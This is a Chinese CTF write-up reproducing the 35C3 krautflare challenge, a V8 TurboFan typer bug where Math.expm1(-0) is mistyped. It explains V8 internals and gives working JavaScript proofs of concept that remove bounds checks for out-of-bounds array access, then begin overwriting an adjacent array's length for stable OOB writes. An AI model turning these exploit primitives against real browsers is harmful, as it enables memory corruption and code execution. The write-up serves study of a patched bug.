关于2018_35c3ctf_krautflare的分析复现-安全客

可能有些地方写的不够好, 望各位师傅见谅指正

0 一些准备工作

0.0 关于ubuntu下如何进行截图的问题

因为系统的问题，需要想办法在ubuntu下写报告

这里使用了一个工具——shutter，具体的安装过程如下

依次使用的命令如下

    sudo add-apt-repository ppa:shutter/ppa
    sudo apt-get update
    sudo apt-get install shutter

安装完成后，在命令行中输入shutter即可打开程序，编辑功能在右上角

再配合ubuntu 本身的截图快捷键 Shift + Ctrl + PrtSc 完成报告中所有的截图

0.1 关于v8环境的搭建

v8环境

由于在布置任务前就提前布置好了v8的环境，所以只能放一个参考链接了

[原创]V8环境搭建，100%成功版-『二进制漏洞』-看雪安全论坛

Turbolizer搭建

首先确保是最新的nodejs，使用的命令如下

sudo apt-get install curl python-software-properties
curl -sL https://deb.nodesource.com/setup_12.x | sudo -E bash -
sudo apt-get install nodejs

之后使用下面的命令安装并启动turbolizer

cd v8/tools/turbolizer
npm i
npm run-script build
python -m SimpleHTTPServer

注意第一步是进入v8下面的turbolizer路径，接着用chrome浏览器访问ip:8000就能用了

这里注意使用chrome 别的浏览器达不到效果

使用方法

/path/to/d8  --shell ./poc.js --allow-natives-syntax --trace-turbo

首先使用上面的语句产生json文件

启动turbolizer，导入json，如下图，导入位置在右上角，其中一次导入的效果如下图

简单介绍

黄色：代表控制节点，改变或描述脚本流程，例如起点或终点，返回，“ if”语句等。

浅蓝色：表示某个节点可能具有或返回的值的节点。比如一个函数总是返回“ 42”，根据优化阶段，我们将其视为图形上的常数或范围（42、42）

深蓝色：中级语言动作的表示（字节码指令），有助于了解从何处将反馈送到Turbofan中。

红色：这是在JavaScript级别执行的基本JavaScript代码或动作。例如JSEqual，JSToBoolean等

绿色：机器级别的语言。在此处可以找到V8 Turbolizer上机器级别语言的操作和标识符示例。

0.2 题目下载链接

https://abiondo.me/assets/ctf/35c3/krautflare-33ce1021f2353607a9d4cc0af02b0b28.tar

https://github.com/MyinIt-0/v8/blob/master/krautflare-33ce1021f2353607a9d4cc0af02b0b28.tar

完整exp可以参照第二个链接repo里面找

0.3 背景知识

v8 架构

2018年以后使用了一个TurboFan优化

v8优化

诸如V8之类的现代JS引擎执行JS代码的即时（JIT）编译，也就是说，它们将JavaScript转换为本地机器代码以加快执行速度。在Ignition解释器执行函数多次后，该代码被标记为热路径，并由Turbofan JIT编译器进行编译。显然，我们希望尽可能地优化代码。因此，V8的优化管道广泛使用了静态分析。我们感兴趣的最重要的属性之一是类型：由于JavaScript是一种非常动态的语言，因此知道我们期望在运行时看到哪些类型对于优化至关重要。

具体到本题

分析pipeline的一个组成部分是typer.它的功能是处理代码中的节点,并且格局输入的类型计算出可能的输出结果. 比如,如果一个节点的输出Range(1 , 3) ,则表示他可以具体输出1 , 2 或3.

typer工作在3个阶段

in the typer phase
in the TypeNarrowingReducer (load elimination phase)
in the simplified lowering phase

前两个阶段简化完之后会有几个ConstantFoldingReducer操作, 如果Object.is的结果总是false那么它将会被一个常量false代替

给出一张大致的架构

TurboFan pipeline各阶段示意图

JIT机制

v8是一个js的引擎，js是一门动态语言，动态语言相对静态语言来说，由于类型信息的缺失，导致优化非常困难。另外，js是一种“解释性”语言，对于解释性语言来说，解释器的效率就是他运行的效率。所以，为了提高运行效率，v8采用了jit compile的机制，也就是即时编译。

在运行过程中，首先v8会经过一次简单的即时编译，生成字节码，这里使用的jit编译器叫做“基准编译器”(baseline compiler)，这个时候的编译优化相对较少，目的是快速的启动。之后在运行过程当中，当一段代码运行次数足够多，就会触发其他的更优化的编译器，直接编译到二进制代码，后面这个优化后的编译器叫做”TurboFan”

Array对象的内存布局

每个Js数组均由两个堆对象组成:一个JSArray(代表实际的JS数组对象) 和一个FixedArray(固定数组),FixedArray是一种内部固定大小的数组类型,用做数组元素的后备存储. 两者都有一个length字段.对于JSArray,它是实际的JS长度.对于FixedArray,它可能包含一些后备区.两个数组的顺序可能不同

具体的情况如下图所示

JSArray中有一个指向fixedArray的指针

ArrayBuffer对象内存布局

ArrayBuffer
ArrayBuffer 对象用来表示通用的、固定长度的原始二进制数据缓冲区。ArrayBuffer 不能直接操作，而是要通过“视图”进行操作。“视图”部署了数组接口，这意味着，可以用数组的方法操作内存。
TypedArray
用来生成内存的视图，通过9个构造函数，可以生成9种数据格式的视图，比如Uint8Array（无符号8位整数）数组视图, Int16Array（16位整数）数组视图, Float64Array（64位浮点数）数组视图等等。

简单的说，ArrayBuffer就代表一段原始的二进制数据，而TypedArray代表了一个确定的数据类型，当TypedArray与ArrayBuffer关联，就可以通过特定的数据类型格式来访问内存空间。

借用先知上的一张图形象的表述一下

具体调试时

Object对象布局

在V8中，JavaScript对象初始结构如下所示

[ hiddenClass / map ] -> ... ; 指向Map
[ properties        ] -> [empty array]
[ elements          ] -> [empty array]
[ reserved #1       ] -\
[ reserved #2       ]  |
[ reserved #3       ]  }- in object properties,即预分配的内存空间
...............        |
[ reserved #N       ] -/

Map中存储了一个对象的元信息，包括对象上属性的个数，对象的大小以及指向构造函数和原型的指针等等。同时，Map中保存了Js对象的属性信息，也就是各个属性在对象中存储的偏移。然后属性的值将根据不同的类型，放在properties、element以及预留空间中。

properties指针，用于保存通过属性名作为索引的元素值，类似于字典类型

elements指针，用于保存通过整数值作为索引的元素值，类似于常规数组

reserved #n，为了提高访问速度，V8在对象中预分配了的一段内存区域，用来存放一些属性值（称为in-object属性），当向object中添加属性时，会先尝试将新属性放入这些预留的槽位。当in-onject槽位满后，V8才会尝试将新的属性放入properties中。

1 分析

1.0 初步分析

题目的所有文件如下所示（除去init.md文件）

其中build_v8.sh中是具体的版本与回退信息等

chal是一个简单的运行实例

d8是release版的相应文件

三个patch

一个dockerfile文件

1.1 版本回退

利用build_v8.sh将自己的v8回退到相应的版本

首先将脚本中的release改成了debug方便调试

这里没有去掉第一行,想多储备一个v8(快照不好拍),具体遇到的问题在后文给出

等待一段时间,自动生成debug版本

1.2 漏洞成因

从题目给出的对应链接的谷歌问题报告开始介绍

https://bugs.chromium.org/p/project-zero/issues/detail?id=1710

Math.expm1是进行e^^x – 1操作

问题出现在Math.expm1对正负0的判断, -0属于HEAP_NUMBER_TYPE,而Math.expm1只会返回PlainNumer和NaN类型的结果,导致 (Math.expm1(-0), -0) 在优化之后是不相等的 , 实际上从计算的角度应该相等

如果加入了优化, typer会认为Math.expm1的返回类型为 Union(PlainNumber, NaN) , 这意味着输出是PlainNumber或者浮点NaN. PlainNumber类型代表任何浮点数，但-0除外。而不经优化的时候,会按照正常的计算操作

abinodo师傅的文章中写到, 区分0与-0的三种情况为division , atan2(一个数学函数) , Object.is . 前两种情况下, typer不会处理-0,只剩下了Object.is. 所以Object.is(Math.expm1(-0), -0)是一个可能出现逻辑错误的地方

从补丁上看

这个也是对MathExpm1进行了替换

单纯的依靠这个false的逻辑错误并没有太大的用途,

Object.is 调用可以被表示成两种节点. 一种是ObjectIsMinusZero,一种是SameValue,其中前者是typer知道我们要与-0进行比较. ObjectIsMinusZero情况下,type信息不会被传播,而在SameValue情况下结果会传播并且可以用于range计算~~(具体原因看UpdateFeedbackType函数)~~

下文将介绍如何触发bug以及利用bug制造oob,触发oob的原理可以看1.4中的原理解释

1.3 一些触发bug的尝试

尝试1

https://www.anquanke.com/post/id/86383

上图是在没有优化的时候直接判断 Math.expm1(-0) 与 -0的比较，可以看到解析后认为两者是相等的。Math.expm1是进行e^^x – 1操作

尝试2

单纯的进行一次优化，代码如下

对上面的脚本进行简单的分析

正常情况下，-0的类型是HEAP_NUMBER_TYPE，如下图所示

而typer认为Math.expm1只会返回PlainNumber和NaN，其中PlainNumber代表的是浮点数，这样的话，第二次进行优化后，当然，要达到这个效果，我们需要需要让JIT编译这段代码（OptimizeFunctionOnNextCall），类型不匹配，自然会返回false

运行结果如下

根据前面的分析，typer会认为Math.expm1只会返回PlainNumber和NaN，而-0的类型与他们不同，所以优化后应该是返回false，但是上图中却返回了true，与预期不相符。这个原因在尝试3中具体解释

尝试3

使用对应版本的POC进行尝试

POC如下

具体的结果如下

但是POC在打了patch的题目中并没有达到效果，第二次优化之后仍然是true

下面进行解释，使用turbolizer进行分析

导入后点击下图两个人按钮，使得信息更加详细，之后使用”r”重新载入一下

得到的图片如下图所示

可以看到这里调用的是FloatExpm1，其返回类型为Number是包含-0的。这里具体查看一下revert-bugfix-880207.patch文件，如下图所示，这是引入bug的文件

%OptimizeFunctionOnNextCall(foo);
print("foo(0)  : "+foo(0));
print("foo(-0) : "+foo(-0));

其具体修改的文件如下图所示，~~修改的是typer.cc文件而不是operation-typer.cc文件，这样的话调用FloatExpm1的话不会出发bug，必须调用更加底层的函数~~

下面就是研究一下如何调用到底层的函数触发到bug

首先分析一下FlaotExpm1节点，这个节点是编译器推测输入的结果是一个数字，如果真的输入数字的话，运行的时候就会运行现在优化后的代码；如果输入的不是一个数字，如果不是数字，就会进行deoptimization操作。解释器将使用可以接受所有类型的内置函数。下次编译该函数时，Turbofan将获得反馈信息，通知该输入并非始终是数字，并且将生成对内建函数的调用，而不是FloatExpm1。

所以我们可以尝试调用foo函数，并且其参数不是数字的情况，

尝试4

代码如下

其中进行了一次foo(“0”)调用，与两次优化，其中第二次优化就是为了告诉解析器，可能输入的不是数字，触发deoptimization。进而在之后调用Math.expm1函数的时候调用更底层的函数

程序的运行结果如下

可以看到第二次foo(-0)确实返回了false

使用turbolizer再一次查看，如下图

可以发现这次Call之后是返回PlainNumber或者是NaN 而左边直接判断为了False。这样就算是触发成功了

1.4 尝试触发OOB

单纯的依靠一个逻辑判断的错误并不能引发什么，这里通过错误传递导致数组越界

正常情况下，数组越界会被检测出来

当v8进行解析的时候会出现undefined的错误

如何绕过检测呢?

这里的通过上面的逻辑错误欺骗typer认为index一直是不越界的, 然后通过simplified lowing进行传递,导致数组越界

具体的解释见 1.4原理解释

尝试1

代码如下

function foo(x){

    let oob = [1.1, 1.2, 1.3, 1.4];
    let idx = Object.is(Math.expm1(x), -0);
    idx *= 1337;

    return oob[idx];
}

print("foo(0)  : "+foo(0));
%OptimizeFunctionOnNextCall(foo);
foo("0");
%OptimizeFunctionOnNextCall(foo);
print("foo(0)  : "+foo(0));
print("foo(-0) : "+foo(-0));

很显然，这段代码后面都会返回false，达不到越界访问的需求。

但是我们可以查看这段代码对应的turbo，确认是不是少了Checkbound

上图是观测的结果，确实CheckBound处判断成了一定为0

尝试2

代码如下

function foo(x){
    let oob = [1.1, 1.2, 1.3, 1.4];
    // %DebugPrint(oob);
    let aux = {mz:-0};
    let idx = Object.is(Math.expm1(x), aux.mz);

    // 
    idx *= 5;

    return oob[idx];
}

print("foo(0)  : "+foo(0));
%OptimizeFunctionOnNextCall(foo);
foo("0");
%OptimizeFunctionOnNextCall(foo);
print("foo(0)  : "+foo(0));
print("foo(-0) : "+foo(-0));
print("Done");
%SystemBreak();

程序运行的效果如下，我们看到第三次输出foo(-0)的时候实现了越界访问

尝试越界成功,.

我们看一下优化的过程

首先是escape阶段, 下图中含有checkBounds节点,但是后面加了INVALID, 具体实在simpilified阶段去除的

动态调试一下，我们构造的oob如下所示

~~这里就出现了一个问题，当我想要输出oob数组的位置时没有办法绕过越界检测~~

同样将代码改成下面的样子，也无法绕过越界检查

function foo(x,y){
    let oob = [1.1, 1.2, 1.3, 1.4];
    if(y == 0)
    {
        // %DebugPrint(oob);
        print("...");
    }

    let aux = {mz:-0};
    let idx = Object.is(Math.expm1(x), aux.mz);

    // 
    idx *= 5;

    return oob[idx];
}

print("foo(0)  : "+foo(0,1));
%OptimizeFunctionOnNextCall(foo);
foo("0");
%OptimizeFunctionOnNextCall(foo);
print("foo(0)  : "+foo(0,1));
print("foo(-0) : "+foo(-0,1));
print("Done");
%SystemBreak();

应该不是连续的问题，下面这个过程按照连续写的，但是print与%DebugPrint的效果是不同的，说明DebugPrint可能导致优化出现了问题(这里暂时没有搞懂, 即加了DebugPrint之后出现了检测underfine 数组越界失败)

原理解释

优化过程中有一个流程,如下图所示

Object.is调用起初是一个SameValue节点, 在经过TypeOptimization之后,这个SameValue节点可能会被简化成为其他节点(查看源码https://cs.chromium.org/chromium/src/v8/src/compiler/typed-optimization.cc?rcl=dde25872f58951bb0148cf43d6a504ab2f280485&l=504). 在本题这个实例中, 我们是将一个变量与-0进行比较,TypeOptimization会将SameValue简化成ObjectIsMinusZero,而SimplifiedLowering阶段会传递SameValue的信息而不会传递ObjectIsMinusZero的信息.

简单的说就是在SimplifiedLowering阶段,需要SameValue才能将逻辑错误信息传递下去, 而正如上文所说这个逻辑错误传递可以导致数组越界

而实现上面原理的方法就如尝试2中的代码那样.

采用了下面的方法

function foo(x) {
    let a = [0.1, 0.2, 0.3, 0.4];
    let o = {mz: -0}; //这里是关键
    let b = Object.is(Math.expm1(x), o.mz);
    return a[b * 1337];
}

上面的代码中, 对象o会开辟一片堆空间,在escape analysis之前,其具体的内容信息不会被编译器发现(不知道我们尝试与-0进行比较),那么在之前的TypedOptimization阶段,就会保留下SameValue节点. 之后 escape analysis会传递下去. 我们就可以在 simplified lowering得到SameValue节点. 而simplified lowering会认为SameValue比较一直是错的并且传递这个信息,导致CheckBound节点消失.

上面的那段话主要结果就是CheckBound节点消失了, 下面的部分是介绍如何使得index返回不是0

还是参照上面的图(白色的Relevant Turbofan pipeline) , 在优化的过程中, 数组的index是在TyperPhase阶段尝试计算的, 在TypedLoweringphase阶段进行替换的

如果我们利用下面的代码尝试利用, 返回的结果一直是false, 因为typerPhase阶段就已经计算除了ida是 range(0,0)

function foo(x){

    let oob = [1.1, 1.2, 1.3, 1.4];
    let idx = Object.is(Math.expm1(x), -0);
    idx *= 1337;

    return oob[idx];
}

print("foo(0)  : "+foo(0));
%OptimizeFunctionOnNextCall(foo);
foo("0");
%OptimizeFunctionOnNextCall(foo);
print("foo(0)  : "+foo(0));
print("foo(-0) : "+foo(-0));

而最上面利用成功的代码, 在typerPhase 阶段是不知道o.mz的具体值的. 自然也就不能够直接得出index的范围.

而且利用o.mz的方法使得TurboFan不能够确定o.mz的类型(不像-0可以直接判断HEAP_NUMBER_TYPE), 当检测的时候发现是具体值-0, 就会优化成NumberConstant[-0] , 这样就会以Number值进行判断 , 而不是通过类型得到object.is的值

总结一下

通过前面的测试我们知道idx被替换为0发生在typer阶段，而我们通过设置aux.mz使得idx没有被替换，但是aux.mz的类型信息却被Simple lowering phase使用了，并因此去掉了CheckBounds, 而且在计算object.is的时候o.mz优化成了NumberConstant[-0] 节点, 这样将会以具体计算值判断, 从而返回1

此外还有一点需要注意,使用这种方法, 会有一个FloatExpm1节点, 这个节点输出一个浮点数, SameValue节点需要的输入是一个指针, 所以编译器会插入一个ChangeFloat64ToTagged 节点作为转化. 这样的话,就会将在Marh.expm1那里都当做number进行比较,把-0当做0计算 , 不会造成逻辑错误

该Math.expm1操作将降低到一个FloatExpm1节点，该节点将一个浮点数作为输入并输出一个浮点数，该浮点数成为SameValue的输入。但是，有两种可能的方式来表示浮点数：作为“原始”浮点数或作为标记值（可以表示浮点数或对象）。FloatExpm1输出原始浮点，但是SameValue带有标记值（因为它可以接受所有类型的对象）。因此，编译器将插入一个ChangeFloat64ToTagged节点，以将原始浮点数转换为标记值。由于编译器认为ChangeFloat64ToTagged的输入永远不会为-0，因此不会产生处理-0的代码。在运行时，-0 from Math.expm1将被截断为0，破坏了我们的工作。

FloatExpm1仅接受浮点数，但是如果您尝试计算Math.expm1("0")（传递字符串），则会得到NaN，而不是某种错误。因此，必须有一种方法可以接受非数字参数。答案是V8包含的内置实现Math.expm1，能够处理所有输入类型。如果我们可以强制Turbofan调用内置函数而不是使用FloatExpm1，则会得到一个Call节点。区别在于Call已经返回了一个标记值，因此不需要ChangeFloat64ToTagged，并且-0不会被截断为0。

2 尝试利用

2.0 利用oob产生稳定的越界写

这里最开始想到的就是ArrayBuffer里面的backstore指针结构实现任意地址读写，同时利用object对象进行定位。

参考wp写的是修改下一个数组的大小，从未实现稳定的oob

首先尝试越界读写实现稳定oob的代码如下

function foo(x)
{
    let o = {mz:-0};
    let a = [0.1 , 0.2 , 0.3 , 0.4];
    let b = Object.is(Math.expm1(x),o.mz);
    arrs.push([0.4,0.5]);
    objs.push({mark:0x41414141,obj:{}});
    bufs.push(new ArrayBuffer(0x41));

    %DebugPrint(arrs);//
    %DebugPrint(a);//

    for(let i = 4 ; i< 200 ;i++)
    {
        let len = conv.f2i(a[i*b]);
        let is_backing = a[b*(i+1)] === 0.4;
        //console.log(len.toString(16));
        let good= (len == 0x200000000n && !is_backing);
        //if(good)
        a[b*i*good] = conv.i2f(0x9999999200000000n);
    }
}

通过DebugPrint获得两个数组的内存信息